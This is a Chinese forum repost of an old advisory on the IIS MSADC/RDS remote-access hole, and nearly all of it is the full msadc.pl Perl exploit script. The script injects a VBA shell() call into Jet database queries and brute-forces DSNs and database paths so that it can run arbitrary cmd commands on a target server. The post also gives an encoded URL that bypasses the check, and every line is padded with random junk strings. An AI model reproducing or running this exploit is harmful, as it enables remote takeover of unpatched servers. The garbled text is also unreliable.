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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 36ygI0V_  
V}c3}'_U]  
涉及程序: t2V|moG  
Microsoft NT server w Q!C9Gp3e  
9p| ;Hh:  
描述: Z{<&2*  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 }.bhsy  
y>4r<Y ZQ  
详细: 1?k{jt~  
如果你没有时间读详细内容的话,就删除: PL*Mz(&bf  
c:\Program Files\Common Files\System\Msadc\msadcs.dll tCZ3n  
有关的安全问题就没有了。 c;X8: Z=ja  
tkQ#mipAj  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 SvE3E$*  
!$}:4}56F  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 &d1|B`gL|  
关于利用ODBC远程漏洞的描述,请参看: glk-: #  
]Dj,8tf`H  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Aun X[X9  
#m %ZW3  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 of?hP1kl[  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp K9\p=H^T7  
}.+{M.[}  
这里不再论述。 $Sz@u"ig%  
fjD/<`}v  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: YVSAYv_ZG}  
~< ~PaP$=\  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset njhDrwN  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! O}$@|w(8;  
V5ve  
6} b1*xQ  
#将下面这段保存为txt文件,然后: "perl -x 文件名" b@6hGiqx  
T'W)RYnwl  
#!perl ,0j7qn@tm  
# j6Msbq[  
# MSADC/RDS 'usage' (aka exploit) script #kho[`9  
# o|r8x_!+  
# by rain.forest.puppy gzV&S5A{_  
# xLZJ[:gr  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me : T` Ni  
# beta test and find errors! +OEheG8  
'MF|(`  
use Socket; use Getopt::Std; ^t p6G  
getopts("e:vd:h:XR", \%args); V]4g- CS[  
yiourR)H<  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; uP;qs8  
R ;XG2  
if (!defined $args{h} && !defined $args{R}) { by*?PhfF  
print qq~ V?_:-!NJ(  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 3 VNPdXsh  
-h <host> = host you want to scan (ip or domain) ]'  ck!eG  
-d <seconds> = delay between calls, default 1 second i -kj6N5  
-X = dump Index Server path table, if available ^a,Oi%  
-v = verbose 3mmp5 d  
-e = external dictionary file for step 5 ZeB"k)FI>  
WD`z\{hcom  
Or a -R will resume a command session pv LA:LW2  
^v5v7\!  
~; exit;} P|0dZHpT  
WR5@S&fU`  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; fv;3cxQp  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} |<:Owd=  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} S5%I+G3  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 3vcKK;qCB  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 1u9*)w  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } gfr y5e  
 gAFu  
if (!defined $args{R}){ $ret = &has_msadc; A(j9T,!  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} oR``Jiob|  
-}_X'h&"  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ,RA;X  
. "cmd /c "; Y! 8 I  
$in=<STDIN>; chomp $in; 3izGMH_`  
$command="cmd /c " . $in ; utH/E7^8  
F=T};b  
if (defined $args{R}) {&load; exit;} ( vO\h8  
@^O+ulLJ,]  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; }KEL{VUX  
&try_btcustmr; j@ehcK9|  
`<cn b!]  
print "\nStep 2: Trying to make our own DSN..."; h vC gd^M  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; KR49Y>s<  
V?yTJJ21X  
print "\nStep 3: Trying known DSNs..."; cPx] :sC  
&known_dsn; ?.*^#>-  
84X/=l-c=  
print "\nStep 4: Trying known .mdbs..."; T(@J]Y-  
&known_mdb; w# iezo. 0  
Xc>M_%+ R  
if (defined $args{e}){ VuU{7:  
print "\nStep 5: Trying dictionary of DSN names..."; ulA||  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 3?n2/p 7=  
b$*1!a  
print "Sorry Charley...maybe next time?\n"; G C#s;X  
exit; X npn{  
OrG1Mfx&2%  
############################################################################## K[j~htC{I"  
ktEdbALK  
sub sendraw { # ripped and modded from whisker vq?aFX9F  
sleep($delay); # it's a DoS on the server! At least on mine... P5$L(x%~  
my ($pstr)=@_;   (4GDh%  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 6g6BE^o\  
die("Socket problems\n"); PfrzrRahb  
if(connect(S,pack "SnA4x8",2,80,$target)){ T09'qB  
select(S); $|=1; QDHTP|2e  
print $pstr; my @in=<S>; {S$]I)tV  
select(STDOUT); close(S); $\9M6k'  
return @in; CogN1,GJ  
} else { die("Can't connect...\n"); }} $'I-z.GV  
Dr_ (u<[  
############################################################################## zJMm=Mw^  
<3SO1@?  
sub make_header { # make the HTTP request =sIkA)"!=  
my $msadc=<<EOT A.8[FkiNmD  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 8AGP*"gI  
User-Agent: ACTIVEDATA 4?u<i=i  
Host: $ip w4<n=k  
Content-Length: $clen w>TlM*3D/  
Connection: Keep-Alive ]b+Nsr~  
3$~oQC  
ADCClientVersion:01.06 o`{@':%D`  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ?as1^~  
o<\u Hr3  
--!ADM!ROX!YOUR!WORLD! ua8Burl7  
Content-Type: application/x-varg )%(V.?eW  
Content-Length: $reqlen t ;-U  
X<8   
EOT ';vL j1v  
; $msadc=~s/\n/\r\n/g; _U<r@  
return $msadc;} 9&O7F}VP2  
?D,8lABkT  
############################################################################## >[qoNy;  
qhQeQ  
sub make_req { # make the RDS request %b1NlzB+  
my ($switch, $p1, $p2)=@_; zm{U.Q  
my $req=""; my $t1, $t2, $query, $dsn; .@kjC4m  
\'>ZU-V  
if ($switch==1){ # this is the btcustmr.mdb query @5,Xr`]  
$query="Select * from Customers where City=" . make_shell(); YqEB%Y~N+  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . R2Y.s^  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} C25EIIdRb  
vMHJgpd&j  
elsif ($switch==2){ # this is general make table query LJ{P93aq`^  
$query="create table AZZ (B int, C varchar(10))"; 7`pK=E}+  
$dsn="$p1";} =[D '3JB  
QI WfGVc-  
elsif ($switch==3){ # this is general exploit table query EyK F5TP0  
$query="select * from AZZ where C=" . make_shell(); U=vh_NHj  
$dsn="$p1";} G@=H=' :~  
NGs@z^&V  
elsif ($switch==4){ # attempt to hork file info from index server OH_mZA  
$query="select path from scope()"; Qw@_.I  
$dsn="Provider=MSIDXS;";} u|Tg*B  
IwZe2$f  
elsif ($switch==5){ # bad query I%b}qC"5M  
$query="select"; ~2L]K4Z^  
$dsn="$p1";} C?h}n4\B^?  
aBblP8)8;K  
$t1= make_unicode($query); 7O]$2  
$t2= make_unicode($dsn); \pwg8p[4Q  
$req = "\x02\x00\x03\x00";  IPDQ  
$req.= "\x08\x00" . pack ("S1", length($t1)); qi]"`\  
$req.= "\x00\x00" . $t1 ; ;X}!;S%K  
$req.= "\x08\x00" . pack ("S1", length($t2)); ?}Y;/Lwx  
$req.= "\x00\x00" . $t2 ; 6%\&m|S  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; C8bB OC(  
return $req;} lWRRB&8  
F4|U\,g  
##############################################################################  C4.g}q  
sqE? U*8.-  
sub make_shell { # this makes the shell() statement 0<$t9:dq  
return "'|shell(\"$command\")|'";} nf,u'}psdJ  
~}@cSv'(1  
############################################################################## [:"7B&&A  
S uo  
sub make_unicode { # quick little function to convert to unicode 7@u:F?c  
my ($in)=@_; my $out; Wu|ANc  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } d>-k-X-[  
return $out;} KwxO%/-}S  
d#Xt2   
############################################################################## (d ?sFwOt\  
+hL%8CVU M  
sub rdo_success { # checks for RDO return success (this is kludge) =*'K'e>P3  
my (@in) = @_; my $base=content_start(@in); # M18&ld,r  
if($in[$base]=~/multipart\/mixed/){ ;+NU;f/WM  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} fZNWJo# `.  
return 0;} %VsIg  
VPI;{0kh  
############################################################################## ^E}};CsT  
Sft+Gb6  
sub make_dsn { # this makes a DSN for us G5hh$Nmpi  
my @drives=("c","d","e","f"); eW/sP Q-  
print "\nMaking DSN: "; n/vKxtW  
foreach $drive (@drives) { FJH'!P\  
print "$drive: "; !W48sZr1&  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . _gn`Y(c$%  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" p`mNy o'  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); TChKm- x  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; V^D!\)#  
return 0 if $2 eq "404"; # not found/doesn't exist /5&' U!:+  
if($2 eq "200") { SMIr@*R  
foreach $line (@results) { *)82iD  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 1 2y+g5b  
} return 0;} :J~sz)n4  
D)){"Q!b  
############################################################################## D\9-MXc1  
E5`KUMZkq  
sub verify_exists { pe@j`Sm:Ej  
my ($page)=@_; 9LK<u$C  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ["} Yp  
return $results[0];} k]] e8>  
j" ~gEGfK  
############################################################################## "+k^8ki  
wzNGL{3  
sub try_btcustmr { aPH6R<G  
my @drives=("c","d","e","f"); o3kVcX^  
my @dirs=("winnt","winnt35","winnt351","win","windows"); e>~7RN  
Puodsd  
foreach $dir (@dirs) { xp;CYr"1}  
print "$dir -> "; # fun status so you can see progress /j(3 ~%]o4  
foreach $drive (@drives) { k*"FMJG_  
print "$drive: "; # ditto #z&@f  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ZMn~QU_5  
$reqlenlen=length( "$reqlen" ); (sN;B)  
$clen= 206 + $reqlenlen + $reqlen; rc()Eo50  
IuN:*P  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); "4[8pZO/  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} i-E/#zni  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} hY[Vs5v  
:W*']8 M-  
############################################################################## R0DWjN$j  
_=ziw|zI  
sub odbc_error { w\(; >e@  
my (@in)=@_; my $base; $CP_oEb  
my $base = content_start(@in); , HHCgN  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this A2{s ?L,  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; [)KLmL%  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; u~\I  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; o@j)clf  
return $in[$base+4].$in[$base+5].$in[$base+6];} +L>?kr[i[  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; % >}{SS  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . S3F8Chk5  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} w$j!89@)  
TL*8h7.(  
############################################################################## oJ`cefcWo  
7%F8  
sub verbose { hsEQ6  
my ($in)=@_; R\^XF8n6/  
return if !$verbose; ml\2%07  
print STDOUT "\n$in\n";} H%^j yGS  
c$AwJhl^]  
############################################################################## Jh!'"7  
aZBb@~Y  
sub save { 4b<>gpQ  
my ($p1, $p2, $p3, $p4)=@_; o|O|e9m(  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; f zsD  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 'BmLR{[2L  
close OUT;} [r f.&  
.^aqzA=]  
############################################################################## u{d\3-]/  
N"Mw1R4  
sub load { T]0H&Oov  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; A$;"9F@  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); F!pgec%]'  
@p=<IN>; close(IN); v>oWk:iJP  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 6 ~LCj"  
$target= inet_aton($ip) || die("inet_aton problems"); KE*8Y4#9  
print "Resuming to $ip ..."; 7,:$, bL  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 9Atnnx]n  
if($p[1]==1) { NR|t~C+  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; O=2SDuBZ  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; sBV})8]K M  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); J rgpDZ  
if (rdo_success(@results)){print "Success!\n";} B>Xfs ZS  
else { print "failed\n"; verbose(odbc_error(@results));}} Ir\f _>7  
elsif ($p[1]==3){ RhQ[hI  
if(run_query("$p[3]")){ P{ HYZg  
print "Success!\n";} else { print "failed\n"; }} [zMnlO  
elsif ($p[1]==4){ +q-/~G'  
if(run_query($drvst . "$p[3]")){ K]s*rPT/,  
print "Success!\n"; } else { print "failed\n"; }} qrxn%#\XP  
exit;} oasEG6OI8  
Eu)(@,]we  
############################################################################## ?X5Y8n]y\h  
}=T=Z#OgH  
sub create_table { b<1+q{0r  
my ($in)=@_; IyJHKDFk  
$reqlen=length( make_req(2,$in,"") ) - 28; %UnL,V9)  
$reqlenlen=length( "$reqlen" ); )Z qY`by!  
$clen= 206 + $reqlenlen + $reqlen; n)xLEx,  
my @results=sendraw(make_header() . make_req(2,$in,"")); p81Vt   
return 1 if rdo_success(@results); eGr;PaG  
my $temp= odbc_error(@results); verbose($temp); x-%4-)  
return 1 if $temp=~/Table 'AZZ' already exists/; TOC2[m c'  
return 0;} f&ri=VJY\T  
U2TR>0l  
##############################################################################  VsR8|Hn$  
i?0+f }5<p  
sub known_dsn { k/]4L!/ T  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go m&!4*D  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", h qT6]*  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", |jT^[q(z  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 9f U,_`r  
ZA{T0:  
foreach $dSn (@dsns) { h =E)5&Z  
print "."; B;=-h(E}vJ  
next if (!is_access("DSN=$dSn")); zC<k4[.  
if(create_table("DSN=$dSn")){ Lw_s'QNWR  
print "$dSn successful\n"; wu53e= /  
if(run_query("DSN=$dSn")){ YOE!+MiO  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 4_&+]S  
print "Something's borked. Use verbose next time\n";}}} print "\n";} k?7V#QW(  
o{r<=X ysM  
############################################################################## <A+n[h  
W3aFao>!OZ  
sub is_access { *47',Qy  
my ($in)=@_; W _JGJV.^f  
$reqlen=length( make_req(5,$in,"") ) - 28; _ 0g\g~[  
$reqlenlen=length( "$reqlen" ); yuA+YZ  
$clen= 206 + $reqlenlen + $reqlen; TcEvUZJ"  
my @results=sendraw(make_header() . make_req(5,$in,"")); x_VD9  
my $temp= odbc_error(@results); y Nc"E  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); {$H-7-O$  
return 0;} mA2L~=v#  
yDe6f(D  
############################################################################## r)xkpa5  
O~~WP*N  
sub run_query { kACgP!~/1  
my ($in)=@_; sjIUW$  
$reqlen=length( make_req(3,$in,"") ) - 28; YggeKN  
$reqlenlen=length( "$reqlen" ); mJN*DP{  
$clen= 206 + $reqlenlen + $reqlen; (u:^4,Z  
my @results=sendraw(make_header() . make_req(3,$in,"")); g*]/HS>e<G  
return 1 if rdo_success(@results); 6)j4-  
my $temp= odbc_error(@results); verbose($temp); QMAineO  
return 0;} )oAxt70  
lNRGlTD%  
############################################################################## SR8)4:aKW  
l\t\DX"s_  
sub known_mdb { -'%>Fon  
my @drives=("c","d","e","f","g"); F)n^pT  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 1r?hRJ:'  
my $dir, $drive, $mdb; 0+dc  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; u(W+hdTap=  
wY'w'%A?  
# this is sparse, because I don't know of many 2>+(OL4l  
my @sysmdbs=( "\\catroot\\icatalog.mdb", `G0GWh)`x  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",  oo4aw1d  
"\\system32\\certmdb.mdb", :/<SJ({q  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 3[F9qDAy  
[@;q#.}Z  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", M%(^GdI#Vf  
"\\cfusion\\cfapps\\forums\\forums_.mdb", #ExNiFZ  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ms%RNxU4:  
"\\cfusion\\cfapps\\security\\realm_.mdb", hteAuz4H  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", UYw=i4J'  
"\\cfusion\\database\\cfexamples.mdb", <reALC  
"\\cfusion\\database\\cfsnippets.mdb", 0Fc^c[  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 3LW_qX  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 0aM&+j\q}  
"\\cfusion\\brighttiger\\database\\cleam.mdb", pB5#Ho>S  
"\\cfusion\\database\\smpolicy.mdb", ATzFs]~K;  
"\\cfusion\\database\cypress.mdb", )sZJH9[K  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", ! %X#;{  
"\\website\\cgi-win\\dbsample.mdb", :tf'Gw6v  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", \@!"7._=  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" MP_LdJM1E  
); #these are just U]AJWC6  
foreach $drive (@drives) { .$"13"  
foreach $dir (@dirs){ q"9 2][}  
foreach $mdb (@sysmdbs) { &,8F!)[9  
print "."; J5Ovj,[EZ  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ Y!qn[,q8  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; m- u0U  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ H5!e/4iz  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; q/#p ol  
} else { print "Something's borked. Use verbose next time\n"; }}}}} J:Idt}@z  
N}gPf i  
foreach $drive (@drives) { Q&]f9j_  
foreach $mdb (@mdbs) { fvBL? x  
print "."; f"RS,]  
if(create_table($drv . $drive . $dir . $mdb)){ 4..M *U  
print "\n" . $drive . $dir . $mdb . " successful\n"; N3(.7mxo  
if(run_query($drv . $drive . $dir . $mdb)){ ORx6r=zg  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; qd<-{  
} else { print "Something's borked. Use verbose next time\n"; }}}} Lvd es.0|  
} v2l*n  
cw3j&k  
############################################################################## W7#dc89}  
8vqx}2  
sub hork_idx { 4&kC8 [r  
print "\nAttempting to dump Index Server tables...\n"; Bw/8-:eb  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; %urd;h D  
$reqlen=length( make_req(4,"","") ) - 28; x:$ xtu  
$reqlenlen=length( "$reqlen" ); |R&cQKaQ`  
$clen= 206 + $reqlenlen + $reqlen; MSaOFv_Q  
my @results=sendraw2(make_header() . make_req(4,"","")); pv]2"|]V)  
if (rdo_success(@results)){ 'W*:9wah  
my $max=@results; my $c; my %d; l0w<NZ F  
for($c=19; $c<$max; $c++){ ^_gH}~l+U  
$results[$c]=~s/\x00//g; pf$gvL  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 4G2iT+X-  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; "IN[(  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; .+(R,SvN%<  
$d{"$1$2"}="";} %k'>bmJ  
foreach $c (keys %d){ print "$c\n"; } <&RpGAk%I  
} else {print "Index server doesn't seem to be installed.\n"; }} \2))c@@%  
\,S4-~(:!  
############################################################################## /b7]NC%  
Dbu>rESz  
sub dsn_dict { ]?%S0DO*  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ,GF]+nI89  
while(<IN>){ b4&l=^:e=  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ?DGg.2f  
next if (!is_access("DSN=$dSn")); QpD- %gN  
if(create_table("DSN=$dSn")){ jS ?#c+9  
print "$dSn successful\n"; ShesJj  
if(run_query("DSN=$dSn")){ 4<V}A j8l  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { |*$0~mA  
print "Something's borked. Use verbose next time\n";}}} bH.SUd)  
print "\n"; close(IN);} UZpQ%~/  
3 <)+)n  
############################################################################## Z 4QL&?U  
R-YNg  
sub sendraw2 { # ripped and modded from whisker '*B%&QC-  
sleep($delay); # it's a DoS on the server! At least on mine... o~7D=d?R  
my ($pstr)=@_; Tq?7-_MLC$  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 5=#2@qp  
die("Socket problems\n"); $5:I~ -mx  
if(connect(S,pack "SnA4x8",2,80,$target)){ 4sq](! A  
print "Connected. Getting data"; Ihp Ea,v)  
open(OUT,">raw.out"); my @in; #&X5Di[A  
select(S); $|=1; print $pstr; U"RA*|  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} -AN5LE9-  
close(OUT); select(STDOUT); close(S); return @in; A0,h 7<i  
} else { die("Can't connect...\n"); }} -tIye{  
iPdS>e e  
############################################################################## lAR1gHhJ  
Kr?<7vMT5  
sub content_start { # this will take in the server headers I?RUVs  
my (@in)=@_; my $c; I? ="Er[g}  
for ($c=1;$c<500;$c++) { iG#9 2e4  
if($in[$c] =~/^\x0d\x0a/){ ,FwpHs $A  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } fV2w &:^3  
else { return $c+1; }}} Eh^gR`I  
return -1;} # it should never get here actually Rl&nR$#  
tOX -vQ  
############################################################################## ,xg-H6Xfa{  
T|,/C|L  
sub funky { %l?*w~x  
my (@in)=@_; my $error=odbc_error(@in); PeIKx$$Kl{  
if($error=~/ADO could not find the specified provider/){ IrUoAQ2xpG  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; V?)YQ B  
exit;} eX1_=?$1P  
if($error=~/A Handler is required/){ fr'DV/T  
print "\nServer has custom handler filters (they most likely are patched)\n"; $xCJ5M4  
exit;} %(|-+cLW+  
if($error=~/specified Handler has denied Access/){ 8DX5bB  
print "\nServer has custom handler filters (they most likely are patched)\n"; 7 0PGbAD  
exit;}} m>|7&l_  
k[)/,1  
############################################################################## d3\KUR^  
BiDyr  
sub has_msadc { |ZC'a!  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); T% GR{mp  
my $base=content_start(@results); <Sr:pm  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); B}nT>Ub  
return 0;} KrR`A(=WL  
LP !d|X  
######################## - (7oFOtg  
m%'T90mi  
F"cZ$TL]  
解决方案: 3xN_z?Rg  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll !1%Sf.`!_  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 F("|SOhc  
}u8g7Nj  
拿出来充数 哈哈
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